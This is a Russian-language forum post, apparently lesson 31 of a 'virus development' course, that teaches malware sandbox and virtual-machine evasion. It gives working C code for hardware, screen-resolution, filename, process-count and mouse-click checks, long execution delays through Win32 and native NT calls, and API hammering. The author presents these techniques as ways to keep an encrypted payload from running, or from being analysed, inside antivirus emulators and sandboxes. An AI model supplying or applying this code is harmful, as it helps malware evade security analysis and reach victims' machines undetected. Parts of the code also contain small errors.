Уроки Разработка вирусов-31.Обход виртуальных машин


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 094
Репутация
8 212
1696685870930.png


В этой статье давайте рассмотрим техники антивиртуализации, в случае если вирус пытаются запустить в виртуальной среде или песочнице.

Антивиртуализация через характеристики аппаратного обеспечения

В общем случае виртуализированные среды не имеют полного доступа к аппаратному обеспечению хост-машины. Отсутствие полного доступа к аппаратуре может быть использовано вредоносным программным обеспечением для определения, выполняется ли оно внутри виртуальной среды или песочницы. Учитывайте, что не существует гарантии полной точности, потому что машина может просто выполняться с низкими характеристиками аппаратного обеспечения. Проверяемые характеристики аппаратного обеспечения следующие:
  1. Центральный процессор (CPU) - проверка наличия менее чем 2 процессоров.
  2. Оперативная память (RAM) - проверка наличия менее чем 2 гигабайтов.
  3. Количество ранее подключенных устройств USB - проверка наличия менее чем 2 USB-устройств.
Проверка ЦПУ

Проверка ЦПУ может быть выполнена с использованием функции GetSystemInfo WinAPI. Эта функция возвращает структуру SYSTEM_INFO, содержащую информацию о системе, включая количество процессоров.

C:
SYSTEM_INFO SysInfo = { 0 };

GetSystemInfo(&SysInfo);
if (SysInfo.dwNumberOfProcessors < 2) {
    // возможно, виртуализированное окружение
}

Проверка оперативной памяти (RAM)

Проверку доступной оперативной памяти можно выполнить с помощью функции GlobalMemoryStatusEx WinAPI. Эта функция возвращает структуру MEMORYSTATUSEX, содержащую информацию о текущем состоянии физической и виртуальной памяти в системе. Объем оперативной памяти можно найти через член ullTotalPhys. Он содержит количество текущей физической памяти в байтах.

C:
MEMORYSTATUSEX MemStatus = { .dwLength = sizeof(MEMORYSTATUSEX) };

if (!GlobalMemoryStatusEx(&MemStatus)) {
    printf("\n\t[!] GlobalMemoryStatusEx завершился с ошибкой: %d \n", GetLastError());
}

if ((DWORD)MemStatus.ullTotalPhys <= (DWORD)(2 * 1073741824)) {
    // возможно, виртуализированное окружение
}

Обратите внимание, что 2 * 1073741824 - это размер двух гигабайтов в байтах.

Проверка числа ранее подключенных USB-устройств

Наконец, количество ранее подключенных USB-устройств в системе можно проверить через реестр HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\USBSTOR. Значение реестра можно получить с помощью функций RegOpenKeyExA и RegQueryInfoKeyA WinAPI.

C:
HKEY hKey = NULL;
DWORD dwUsbNumber = NULL;
DWORD dwRegErr = NULL;

if ((dwRegErr = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Enum\\USBSTOR", NULL, KEY_READ, &hKey)) != ERROR_SUCCESS) {
    printf("\n\t[!] RegOpenKeyExA завершился с ошибкой: %d | 0x%0.8X \n", dwRegErr, dwRegErr);
}

if ((dwRegErr = RegQueryInfoKeyA(hKey, NULL, NULL, NULL, &dwUsbNumber, NULL, NULL, NULL, NULL, NULL, NULL, NULL)) != ERROR_SUCCESS) {
    printf("\n\t[!] RegQueryInfoKeyA завершился с ошибкой: %d | 0x%0.8X \n", dwRegErr, dwRegErr);
}

// Менее 2 ранее подключенных USB-устройств
if (dwUsbNumber < 2) {
    // возможно, виртуализированное окружение
}

Антивиртуализация через характеристики аппаратного обеспечения (код)

Предыдущие фрагменты кода объединяются в одну функцию IsVenvByHardwareCheck. Эта функция возвращает TRUE, если она обнаруживает виртуализированное окружение.

C:
BOOL IsVenvByHardwareCheck() {

    SYSTEM_INFO SysInfo = { 0 };
    MEMORYSTATUSEX MemStatus = { .dwLength = sizeof(MEMORYSTATUSEX) };
    HKEY hKey = NULL;
    DWORD dwUsbNumber = NULL;
    DWORD dwRegErr = NULL;

    // ПРОВЕРКА ЦПУ
    GetSystemInfo(&SysInfo);

    // Менее 2 процессоров
    if (SysInfo.dwNumberOfProcessors < 2) {
        return TRUE;
    }

    // ПРОВЕРКА ОПЕРАТИВНОЙ ПАМЯТИ (RAM)
    if (!GlobalMemoryStatusEx(&MemStatus)) {
        printf("\n\t[!] GlobalMemoryStatusEx завершился с ошибкой: %d \n", GetLastError());
        return FALSE;
    }

    // Менее 2 гб оперативной памяти
    if ((DWORD)MemStatus.ullTotalPhys < (DWORD)(2 * 1073741824)) {
        return TRUE;
    }

    // ПРОВЕРКА КОЛИЧЕСТВА РАНЕЕ ПОДКЛЮЧЕННЫХ USB-УСТРОЙСТВ
    if ((dwRegErr = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Enum\\USBSTOR", NULL, KEY_READ, &hKey)) != ERROR_SUCCESS) {
        printf("\n\t[!] RegOpenKeyExA завершился с ошибкой: %d | 0x%0.8X \n", dwRegErr, dwRegErr);
        return FALSE;
    }

    if ((dwRegErr = RegQueryInfoKeyA(hKey, NULL, NULL, NULL, &dwUsbNumber, NULL, NULL, NULL, NULL, NULL, NULL, NULL)) != ERROR_SUCCESS) {
        printf("\n\t[!] RegQueryInfoKeyA завершился с ошибкой: %d | 0x%0.8X \n", dwRegErr, dwRegErr);
        return FALSE;
    }

    // Менее 2 ранее подключенных USB-устройств
    if (dwUsbNumber < 2) {
        return TRUE;
    }

    RegCloseKey(hKey);

    return FALSE;
}

Антивиртуализация через разрешение машины

В песочной среде разрешение и свойства отображения машины часто устанавливаются на стандартизированное и постоянное значение, которое может отличаться от разрешения и свойств отображения реальной машины. Поэтому машины с низким разрешением могут служить индикатором виртуализированной среды.

С программной точки зрения первым шагом будет перечисление мониторов отображения системы с использованием функции EnumDisplayMonitors WinAPI.

Функция EnumDisplayMonitors требует выполнения функции обратного вызова для каждого обнаруженного монитора отображения, в этой функции обратного вызова должна вызываться функция GetMonitorInfoW WinAPI. Эта функция извлекает разрешение монитора отображения.

Информация, полученная от GetMonitorInfoW, возвращается как структура MONITORINFO, которая показана ниже.

C:
typedef struct tagMONITORINFO {
  DWORD cbSize;       // Размер структуры
  RECT  rcMonitor;    // Прямоугольник монитора отображения, выраженный в координатах виртуального экрана
  RECT  rcWork;       // Прямоугольник рабочей области монитора отображения, выраженный в координатах виртуального экрана
  DWORD dwFlags;      // Представляет атрибуты монитора отображения
} MONITORINFO, *LPMONITORINFO;

Член rcMonitor содержит необходимую информацию. Этот член также является структурой типа RECT, которая определяет прямоугольник через координаты его верхнего левого и нижнего правого углов.

После извлечения значений структуры RECT выполняются вычисления для определения фактических координат отображения:

MONITORINFO.rcMonitor.right - MONITORINFO.rcMonitor.left - Это дает нам ширину (значение X).
MONITORINFO.rcMonitor.top - MONITORINFO.rcMonitor.bottom - Это дает нам высоту (значение Y).

Антивиртуализация через разрешение машины (код)

Функция CheckMachineResolution использует описанный процесс, при котором вычисляется разрешение машины, путем выполнения функции обратного вызова ResolutionCallback.

C:
// Функция обратного вызова, вызываемая всякий раз, когда 'EnumDisplayMonitors' обнаруживает монитор
BOOL CALLBACK ResolutionCallback(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lpRect, LPARAM ldata) {

    int X = 0,
        Y = 0;
    MONITORINFO MI = { .cbSize = sizeof(MONITORINFO) };

    if (!GetMonitorInfoW(hMonitor, &MI)) {
        printf("\n\t[!] GetMonitorInfoW завершился с ошибкой: %d \n", GetLastError());
        return FALSE;
    }

    // Вычисление координат X отображения
    X = MI.rcMonitor.right - MI.rcMonitor.left;

    // Вычисление координат Y отображения
    Y = MI.rcMonitor.top - MI.rcMonitor.bottom;

    // Если числа отрицательные, меняем их
    if (X < 0)
        X = -X;
    if (Y < 0)
        Y = -Y;

    if ((X != 1920 && X != 2560 && X != 1440) || (Y != 1080 && Y != 1200 && Y != 1600 && Y != 900))
        *((BOOL*)ldata) = TRUE; // обнаружена песочница

    return TRUE;
}

BOOL CheckMachineResolution() {

    BOOL SANDBOX = FALSE;

    // SANDBOX будет установлен в TRUE 'EnumDisplayMonitors', если обнаружена песочница
    EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)ResolutionCallback, (LPARAM)(&SANDBOX));

    return SANDBOX;
}

Антивиртуализация через имя файла

Песочницы часто переименовывают файлы в качестве метода классификации (например, переименовывают файл в его хэш MD5). Этот процесс обычно приводит к произвольному имени файла смешанными буквами и цифрами.

Функция ExeDigitsInNameCheck, показанная ниже, используется для подсчета количества цифр в текущем имени файла. Она использует функцию GetModuleFileNameA для получения имени файла (включая путь) и затем PathFindFileNameA для разделения имени файла от пути.

Затем используется функция isdigit для определения, являются ли символы в имени файла цифрами. Если в имени файла содержится более 3 цифр, то ExeDigitsInNameCheck предполагает, что это песочница, и возвращает TRUE.

C:
BOOL ExeDigitsInNameCheck() {

    CHAR Path[MAX_PATH * 3];
    CHAR cName[MAX_PATH];
    DWORD dwNumberOfDigits = NULL;

    // Получение текущего имени файла (с полным путем)
    if (!GetModuleFileNameA(NULL, Path, MAX_PATH * 3)) {
        printf("\n\t[!] GetModuleFileNameA завершился с ошибкой: %d \n", GetLastError());
        return FALSE;
    }

    // Защита от переполнения буфера - получение имени файла из полного пути
    if (lstrlenA(PathFindFileNameA(Path)) < MAX_PATH)
        lstrcpyA(cName, PathFindFileNameA(Path));

    // Подсчет количества цифр
    for (int i = 0; i < lstrlenA(cName); i++) {
        if (isdigit(cName[i]))
            dwNumberOfDigits++;
    }

    // Максимальное допустимое количество цифр: 3
    if (dwNumberOfDigits > 3) {
        return TRUE;
    }

    return FALSE;
}

Антивиртуализация через количество работающих процессов

Еще одним способом обнаружения виртуализированной среды является проверка количества работающих процессов в системе. Песочницы обычно не имеют много приложений установленных и, следовательно, имеют меньше работающих процессов. Как и в предыдущих методах, это не является универсальным методом, который гарантированно определит систему как песочницу. В системе Windows должно быть как минимум 60-70 работающих процессов.

Процессы будут перечисляться с использованием методики EnumProcesses. Функция CheckMachineProcesses возвращает TRUE, если она обнаруживает песочницу, то есть если в системе запущено менее 50 процессов.

C:
BOOL CheckMachineProcesses() {

    DWORD adwProcesses[1024];
    DWORD dwReturnLen = NULL,
        dwNmbrOfPids = NULL;

    if (!EnumProcesses(adwProcesses, sizeof(adwProcesses), &dwReturnLen)) {
        printf("\n\t[!] EnumProcesses завершился с ошибкой: %d \n", GetLastError());
        return FALSE;
    }

    dwNmbrOfPids = dwReturnLen / sizeof(DWORD);

    // Если менее 50 процессов, возможно, это песочница
    if (dwNmbrOfPids < 50)
        return TRUE;

    return FALSE;
}

Антивиртуализация через взаимодействие с пользователем

Песочницы часто работают в безголовом окружении, то есть без дисплея или периферийных устройств, таких как клавиатура и мышь. Безголовые окружения также обычно автоматизированы и запускаются сценариями или другими инструментами. Отсутствие взаимодействия с пользователем может быть индикатором возможного песочничного окружения. Например, вредоносное программное обеспечение может проверить, не поступило ли в окружение ни одного щелчка мыши или нажатия клавиши в течение определенного периода.

Вспомните Уроки - Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking, где использовались функции SetWindowsHookExW и CallNextHookEx WinAPI для отслеживания щелчков мыши. Та же самая техника применяется в следующей функции, MouseClicksLogger. Если в течение 20 секунд она не получает более 5 щелчков мыши, то предполагается, что находится в песочничной среде.

C:
// Мониторинг щелчков мыши в течение 20 секунд
#define MONITOR_TIME   20000 // Глобальная переменная для хранения обработчика глобального хука
HHOOK g_hMouseHook = NULL;
// Глобальный счетчик щелчков мыши
DWORD g_dwMouseClicks = NULL;

// Функция обратного вызова, которая будет выполнена при щелчке мыши пользователем
LRESULT CALLBACK HookEvent(int nCode, WPARAM wParam, LPARAM lParam) {

    // WM_RBUTTONDOWN :         "Щелчок правой кнопкой мыши"
    // WM_LBUTTONDOWN :         "Щелчок левой кнопкой мыши"
    // WM_MBUTTONDOWN :         "Щелчок средней кнопкой мыши"

    if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN || wParam == WM_MBUTTONDOWN) {
        printf("[+] Зарегистрирован щелчок мыши \n");
        g_dwMouseClicks++;
    }

    return CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
}

BOOL MouseClicksLogger() {

    MSG Msg = { 0 };

    // Установка хука
    g_hMouseHook = SetWindowsHookExW(
        WH_MOUSE_LL,
        (HOOKPROC)HookEvent,
        NULL,
        NULL
    );
    if (!g_hMouseHook) {
        printf("[!] SetWindowsHookExW завершился с ошибкой: %d \n", GetLastError());
    }

    // Обработка неперехваченных событий
    while (GetMessageW(&Msg, NULL, NULL, NULL)) {
        DefWindowProcW(Msg.hwnd, Msg.message, Msg.wParam, Msg.lParam);
    }

    return TRUE;
}

int main() {

    HANDLE hThread = NULL;

    // ...

    // Запуск потока для отслеживания щелчков мыши
    if (!(hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MouseClicksLogger, NULL, 0, NULL))) {
        printf("[!] CreateThread завершился с ошибкой: %d \n", GetLastError());
        return 1;
    }

    // ...

    // Ожидание завершения потока
    WaitForSingleObject(hThread, INFINITE);

    return 0;
}

Антивиртуализация через скорость взаимодействия с пользователями

Скорость взаимодействия с пользователем также может быть использована в антивиртуализации. Песочницы могут работать с определенной фиксированной скоростью, в то время как реальные пользователи будут взаимодействовать с системой несколько более непредсказуемо. Например, если в течение короткого периода времени происходит слишком много взаимодействий с пользователем, это может указывать на наличие песочницы.

В приведенной ниже функции MonitorUserActivity, мы следим за интервалом времени между последним взаимодействием пользователя с клавиатурой или мышью. Если интервал слишком короткий, это может быть признаком того, что система находится в виртуализированной среде.

C:
BOOL MonitorUserActivity() {

    LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) };
    DWORD dwLastInputTime = NULL;
    DWORD dwCurrentTime = NULL;
    DWORD dwElapsedTime = NULL;

    // Получение времени последнего ввода
    if (!GetLastInputInfo(&dwLastInputTime)) {
        printf("\n\t[!] GetLastInputInfo завершился с ошибкой: %d \n", GetLastError());
        return FALSE;
    }

    // Получение текущего времени
    dwCurrentTime = GetTickCount();

    // Вычисление времени бездействия
    dwElapsedTime = dwCurrentTime - dwLastInputTime;

    // Если время бездействия менее 5 секунд, предполагаем, что это песочница
    if (dwElapsedTime < 5000) {
        return TRUE;
    }

    return FALSE;
}

Важно ещё то-что, эти методы, также как и методы антидебага из предыдущей статьи, можно использовать для получения ключа пароля, например зашифрованного пейлоада, в случае если вирус не запущен под виртуальной системы, то пейлоад запустится, иначе нет.
Необязательно возвращать true и else, можно возвращать числовые значения, например число процессов, разрешение экрана и т.д. и на основе этих данных генерировать уже ключ.)


Обратите внимание, что приведенные выше методы антивиртуализации могут быть полезными в некоторых случаях, но они не гарантируют 100% определения виртуализированной среды. Виртуализация и антивиртуализация - это постоянное соревнование, и вредоносные программы могут разрабатываться с учетом этих методов антивиртуализации. Также важно помнить, что использование антивиртуализации может привести к ложным срабатываниям в реальных средах, что может вызвать проблемы для пользователей.

Давайте теперь рассмотрим способы обхода эмулятора антивируса, по сути это тоже виртуальная среда, только в движке антивируса.
Рекомендуется это использовать с методами выше, но важно это использовать для генерации каких-то критичных данных, например ключа для расшифровки или ещё что-то.

Задержка выполнения - это общая техника, используемая для обхода изолированных сред. В песочницах обычно устанавливаются временные ограничения, которые не позволяют анализировать бинарный файл в течение длительного времени. Поэтому вредоносное программное обеспечение может внести длительные паузы в выполнение кода, что заставит песочницу завершить работу до того, как она сможет проанализировать бинарный файл.

Если у песочницы есть ограничение на анализ в течение двух минут, она не сможет проанализировать полезную нагрузку, если образец вредоносного программного обеспечения выполняет функцию ожидания в течение трех минут перед расшифровкой и выполнением её.

Эта статья представит функции, которые можно использовать для задержки выполнения полезной нагрузки.

Несколько образцов вредоносного программного обеспечения использовали задержки в выполнении, поэтому большинство песочниц применили меры по устранению задержек в выполнении. Такие меры могут включать в себя ускорение задержек, либо изменяя параметры, передаваемые через перехват API, либо другими способами. Проверка того, что задержка произошла, является важной, и её можно достичь с помощью WinAPI, GetTickCount64.

Функция задержки может выглядеть примерно так:
C:
BOOL DelayFunction(DWORD dwMilliSeconds) {

  DWORD T0 = GetTickCount64();

  // Код, необходимый для задержки выполнения на 'dwMilliSeconds' миллисекунд

  DWORD T1 = GetTickCount64();

  // Прошло как минимум 'dwMilliSeconds' миллисекунд, значит, 'DelayFunction' выполнена успешно
  if ((DWORD)(T1 - T0) < dwMilliSeconds)
    return FALSE;
  else
    return TRUE;
}

Задержка выполнения с использованием WaitForSingleObject

WinAPI WaitForSingleObject использовался на протяжении всего этого курса для ожидания наступления сигнала у конкретного объекта или для завершения тайм-аута. В этом разделе WaitForSingleObject будет использоваться для ожидания пустого события, созданного с использованием CreateEvent, что означает ожидание истечения тайм-аута.

Функция DelayExecutionVia_WFSO имеет один параметр, ftMinutes, который представляет собой время задержки выполнения в минутах. Функция возвращает TRUE, если WaitForSingleObject успешно задерживает выполнение на указанное время.

C:
BOOL DelayExecutionVia_WFSO(FLOAT ftMinutes) {

  // Преобразование минут в миллисекунды
  DWORD     dwMilliSeconds  = ftMinutes * 60000;
  HANDLE    hEvent          = CreateEvent(NULL, NULL, NULL, NULL);
  DWORD     _T0             = NULL,
            _T1             = NULL;


  _T0 = GetTickCount64();

  // Ожидание в течение 'dwMilliSeconds' мс
  if (WaitForSingleObject(hEvent, dwMilliSeconds) == WAIT_FAILED) {
    printf("[!] WaitForSingleObject Failed With Error : %d \n", GetLastError());
    return FALSE;
  }

  _T1 = GetTickCount64();

  // Прошло как минимум 'dwMilliSeconds' миллисекунд, значит, 'DelayExecutionVia_WFSO' выполнена успешно
  if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
    return FALSE;

  CloseHandle(hEvent);

  return TRUE;

}

Задержка выполнения с использованием MsgWaitForMultipleObjectsEx

Другим WinAPI, который можно использовать для задержки выполнения, является WinAPI MsgWaitForMultipleObjectsEx. Он выполняет ту же задачу, что и WaitForSingleObject, и также демонстрировался в предыдущих статьях.

Функция DelayExecutionVia_MWFMOEx использует ту же логику, показанную в предыдущем разделе, за исключением того, что здесь используется WinAPI MsgWaitForMultipleObjectsEx. Функция имеет один параметр, ftMinutes, который представляет собой время задержки выполнения в минутах. Функция возвращает TRUE, если MsgWaitForMultipleObjectsEx успешно задерживает выполнение на указанное время.

C:
BOOL DelayExecutionVia_MWFMOEx(FLOAT ftMinutes) {

  // Преобразование минут в миллисекунды
  DWORD   dwMilliSeconds    = ftMinutes * 60000;
  HANDLE  hEvent            = CreateEvent(NULL, NULL, NULL, NULL);
  DWORD   _T0               = NULL,
          _T1               = NULL;


  _T0 = GetTickCount64();

  // Ожидание в течение 'dwMilliSeconds' мс
  if (MsgWaitForMultipleObjectsEx(1, &hEvent, dwMilliSeconds, QS_HOTKEY, NULL) == WAIT_FAILED) {
    printf("[!] MsgWaitForMultipleObjectsEx Failed With Error : %d \n", GetLastError());
    return FALSE;
  }

  _T1 = GetTickCount64();

  // Прошло как минимум 'dwMilliSeconds' миллисекунд, значит, 'DelayExecutionVia_MWFMOEx' выполнена успешно
  if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
    return FALSE;

  CloseHandle(hEvent);

  return TRUE;
}

Задержка выполнения с использованием NtWaitForSingleObject

Задержки выполнения кода также можно выполнять с использованием системного вызова NtWaitForSingleObject. NtWaitForSingleObject - это нативная версия API WaitForSingleObject и выполняет ту же функцию. NtWaitForSingleObject показан ниже.

C:
NTSTATUS NtWaitForSingleObject(
  [in] HANDLE         Handle,       // Дескриптор объекта ожидания
  [in] BOOLEAN        Alertable,    // Можно ли доставить оповещение, когда объект находится в ожидании
  [in] PLARGE_INTEGER Timeout       // Указатель на структуру LARGE_INTEGER, указывающую время ожидания
);

Время ожидания для NtWaitForSingleObject задается в интервалах 100 наносекунд, которые часто называются тактами. Один такт эквивалентен 0,0001 миллисекунды. Значение, передаваемое через системный вызов через параметр Timeout, должно быть значением dwMilliSeconds x 10000, где dwMilliSeconds - это время ожидания в миллисекундах.

Функция DelayExecutionVia_NtWFSO ниже использует системный вызов NtWaitForSingleObject для задержки выполнения на указанное время, указанное параметром ftMinutes. ftMinutes представляет собой время задержки выполнения в минутах. Функция возвращает TRUE, если NtWaitForSingleObject успешно задерживает выполнение на указанное время.

C:
typedef NTSTATUS (NTAPI* fnNtWaitForSingleObject)(
    HANDLE         Handle,
    BOOLEAN        Alertable,
    PLARGE_INTEGER Timeout
);

BOOL DelayExecutionVia_NtWFSO(FLOAT ftMinutes) {

     // Преобразование минут в миллисекунды
    DWORD                   dwMilliSeconds          = ftMinutes * 60000;
    HANDLE                  hEvent                  = CreateEvent(NULL, NULL, NULL, NULL);
    LONGLONG                Delay                   = NULL;
    NTSTATUS                STATUS                  = NULL;
    LARGE_INTEGER           DelayInterval           = { 0 };
    fnNtWaitForSingleObject pNtWaitForSingleObject  = (fnNtWaitForSingleObject)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtWaitForSingleObject");
    DWORD                   _T0                     = NULL,
                            _T1                     = NULL;

      // Преобразование из миллисекунд в интервал времени с интервалами 100 наносекунд
    Delay = dwMilliSeconds * 10000;
    DelayInterval.QuadPart = - Delay;

    _T0 = GetTickCount64();

      // Ожидание в течение 'dwMilliSeconds' мс
    if ((STATUS = pNtWaitForSingleObject(hEvent, FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) {
        printf("[!] NtWaitForSingleObject Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    _T1 = GetTickCount64();

      // Прошло как минимум 'dwMilliSeconds' миллисекунд, значит, 'DelayExecutionVia_NtWFSO' выполнена успешно
    if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
        return FALSE;

    CloseHandle(hEvent);

    return TRUE;
}

Задержка выполнения с использованием NtDelayExecution

Последний метод для задержки выполнения - использование системного вызова NtDelayExecution. Название явно указывает на то, что этот системный вызов предназначен для задержки выполнения кода для синхронизации.
NtDelayExecution похож на NtWaitForSingleObject, за исключением того, что для ожидания объектного дескриптора не требуется; его функциональность аналогична Sleep, приостанавливающему выполнение текущего цикла кода. NtDelayExecution показан ниже.

C:
NTSTATUS NtDelayExecution(
    IN BOOLEAN              Alertable,      // Можно ли доставить оповещение, когда объект находится в ожидании
    IN PLARGE_INTEGER       DelayInterval   // Указатель на структуру LARGE_INTEGER, указывающую время ожидания
);

NtDelayExecution использует такты для параметра DelayInterval.

Функция DelayExecutionVia_NtDE ниже использует системный вызов NtDelayExecution для задержки выполнения на указанное время ftMinutes, которое представляет собой время ожидания в минутах. Функция возвращает TRUE, если NtDelayExecution успешно задерживает выполнение на указанное время.

C:
typedef NTSTATUS (NTAPI *fnNtDelayExecution)(
    BOOLEAN              Alertable,
    PLARGE_INTEGER       DelayInterval
);

BOOL DelayExecutionVia_NtDE(FLOAT ftMinutes) {

      // Преобразование минут в миллисекунды
    DWORD               dwMilliSeconds        = ftMinutes * 60000;
    LARGE_INTEGER       DelayInterval         = { 0 };
    LONGLONG            Delay                 = NULL;
    NTSTATUS            STATUS                = NULL;
    fnNtDelayExecution  pNtDelayExecution     = (fnNtDelayExecution)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtDelayExecution");
    DWORD               _T0                   = NULL,
                        _T1                   = NULL;

      // Преобразование из миллисекунд в интервал времени с отрицательными интервалами 100 наносекунд
    Delay = dwMilliSeconds * 10000;
    DelayInterval.QuadPart = - Delay;

    _T0 = GetTickCount64();

    // Ожидание в течение 'dwMilliSeconds' мс
    if ((STATUS = pNtDelayExecution(FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) {
        printf("[!] NtDelayExecution Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    _T1 = GetTickCount64();

    // Прошло как минимум 'dwMilliSeconds' миллисекунд, значит, 'DelayExecutionVia_NtDE' выполнена успешно
    if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
        return FALSE;

    return TRUE;
}

API Hammering - это техника обхода песочницы, при которой происходит быстрый вызов случайных функций WinAPI для задержки выполнения программы. Это также может использоваться для затруднения отслеживания стека вызовов в работающих потоках. Это означает, что злонамеренные вызовы функций в логике программы будут скрыты случайными вызовами безвредных функций WinAPI.

В этом разделе будет продемонстрирована техника API Hammering двумя способами. Первый метод выполняет API Hammering в фоновом потоке, который вызывает различные функции WinAPI из основного потока, где выполняется злонамеренный код. Второй метод использует API Hammering для задержки выполнения с помощью операций, требующих много времени.

Функции ввода-вывода API Hammering может использовать любые функции WinAPI, однако в этом модуле будут использованы следующие три функции WinAPI.

CreateFileW - используется для создания и открытия файла.

WriteFile - используется для записи данных в файл.

ReadFile - используется для чтения данных из файла.

Эти функции WinAPI были выбраны из-за их способности потреблять значительное количество времени при работе с большими объемами данных, что делает их подходящими для API Hammering.

Процесс API Hammering

Функция CreateFileW будет использоваться для создания временного файла в папке временных файлов Windows. Обычно в этой папке хранятся файлы .tmp, созданные операционной системой Windows или сторонними приложениями. Эти временные файлы часто используются для хранения временных данных во время вычислительных процессов, таких как установка приложения или загрузка файлов из Интернета. После завершения задач эти файлы обычно удаляются.

После создания файла .tmp в него будет записан буфер, сгенерированный случайным образом и фиксированного размера, с использованием функции WriteFile WinAPI. После этого дескриптор файла закрывается и затем снова открывается с использованием функции CreateFileW. На этот раз будет использован специальный флаг для пометки файла для удаления после закрытия его дескриптора.

Перед закрытием дескриптора будет использоваться функция ReadFile для чтения данных, записанных ранее, в локальный буфер. Затем этот буфер будет очищен и освобожден, и, наконец, закроется дескриптор файла, что приведет к его удалению.

Можно четко видеть, что вышеуказанные задачи не имеют смысла, но затратны по времени. Кроме того, все вышеперечисленное будет выполнено внутри цикла.

Также можно использовать генерацию данных для записи в файл и проверку его правильности после считывания, а также использования этих данных в качестве ключа.

Функция ApiHammering ниже выполняет описанные выше шаги. Единственным параметром, который требуется для этой функции, является dwStress, который представляет собой количество повторений всего процесса.

Остальной код должен выглядеть знакомо, за исключением функции WinAPI GetTempPathW, которая используется для получения пути к папке временных файлов C:\Users<username>\AppData\Local\Temp. Затем к этому пути добавляется имя файла TMPFILE, и оно передается функции CreateFileW.

C:
// Имя файла для создания
#define TMPFILE L"RuSfera.tmp"

BOOL ApiHammering(DWORD dwStress) {

    WCHAR     szPath                  [MAX_PATH * 2],
              szTmpPath               [MAX_PATH];
    HANDLE    hRFile                  = INVALID_HANDLE_VALUE,
              hWFile                  = INVALID_HANDLE_VALUE;

    DWORD   dwNumberOfBytesRead       = NULL,
            dwNumberOfBytesWritten    = NULL;

    PBYTE   pRandBuffer               = NULL;
    SIZE_T  sBufferSize               = 0xFFFFF;    // 1048575 байт

    INT     Random                    = 0;

    // Получение пути к временной папке
    if (!GetTempPathW(MAX_PATH, szTmpPath)) {
        printf("[!] GetTempPathW завершилось ошибкой: %d \n", GetLastError());
        return FALSE;
    }

    // Создание пути к файлу
    wsprintfW(szPath, L"%s%s", szTmpPath, TMPFILE);

    for (SIZE_T i = 0; i < dwStress; i++){

        // Создание файла в режиме записи
        if ((hWFile = CreateFileW(szPath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL)) == INVALID_HANDLE_VALUE) {
            printf("[!] CreateFileW завершилось ошибкой: %d \n", GetLastError());
            return FALSE;
        }

        // Выделение буфера и заполнение его случайным значением
        pRandBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBufferSize);
        Random = rand() % 0xFF;
        memset(pRandBuffer, Random, sBufferSize);

        // Запись случайных данных в файл
        if (!WriteFile(hWFile, pRandBuffer, sBufferSize, &dwNumberOfBytesWritten, NULL) || dwNumberOfBytesWritten != sBufferSize) {
            printf("[!] WriteFile завершилось ошибкой: %d \n", GetLastError());
            printf("[i] Записано %d байт из %d \n", dwNumberOfBytesWritten, sBufferSize);
            return FALSE;
        }

        // Очистка буфера и закрытие дескриптора файла
        RtlZeroMemory(pRandBuffer, sBufferSize);
        CloseHandle(hWFile);

        // Открытие файла в режиме чтения и удаление при закрытии
        if ((hRFile = CreateFileW(szPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, NULL)) == INVALID_HANDLE_VALUE) {
            printf("[!] CreateFileW завершилось ошибкой: %d \n", GetLastError());
            return FALSE;
        }

        // Чтение ранее записанных случайных данных
        if (!ReadFile(hRFile, pRandBuffer, sBufferSize, &dwNumberOfBytesRead, NULL) || dwNumberOfBytesRead != sBufferSize) {
            printf("[!] ReadFile завершилось ошибкой: %d \n", GetLastError());
            printf("[i] Прочитано %d байт из %d \n", dwNumberOfBytesRead, sBufferSize);
            return FALSE;
        }

        // Очистка буфера и его освобождение
        RtlZeroMemory(pRandBuffer, sBufferSize);
        HeapFree(GetProcessHeap(), NULL, pRandBuffer);

        // Закрытие дескриптора файла - удаление файла
        CloseHandle(hRFile);
    }

    return TRUE;
}

Задержка выполнения с помощью API Hammering

Чтобы задержать выполнение с помощью API Hammering, вычислите, сколько времени требуется функции ApiHammering для выполнения определенного числа циклов. Для этого используйте функцию GetTickCount64 WinAPI для измерения времени до и после вызова ApiHammering. В этом примере количество циклов составит 1000.

C:
int main() {

    DWORD    T0    = NULL,
            T1    = NULL;

    T0 = GetTickCount64();

    if (!ApiHammering(1000)) {
        return -1;
    }

    T1 = GetTickCount64();

    printf(">>> ApiHammering(1000) Заняло : %d миллисекунд для завершения \n", (DWORD)(T1 - T0));

    printf("[#] Нажмите <Enter>, чтобы выйти ... ");
    getchar();

    return 0;
}

1696689505435.png


Вывод показывает, что 1000 циклов требуют примерно 5.1 секунды на текущей машине. Это число немного будет отличаться в зависимости от технических характеристик целевой системы.

Преобразование секунд в циклы

Макрос SECTOSTRESS, приведенный ниже, может быть использован для преобразования количества секунд, i, в количество циклов. Поскольку 1000 циклов занимают 5.157 секунд, одна секунда будет занимать 1000 / 5.157 = 194 цикла. Результат макроса следует использовать в качестве параметра для функции ApiHammering.

C:
#define SECTOSTRESS(i) ((int)i * 194)

Задержка выполнения с помощью кода API Hammering

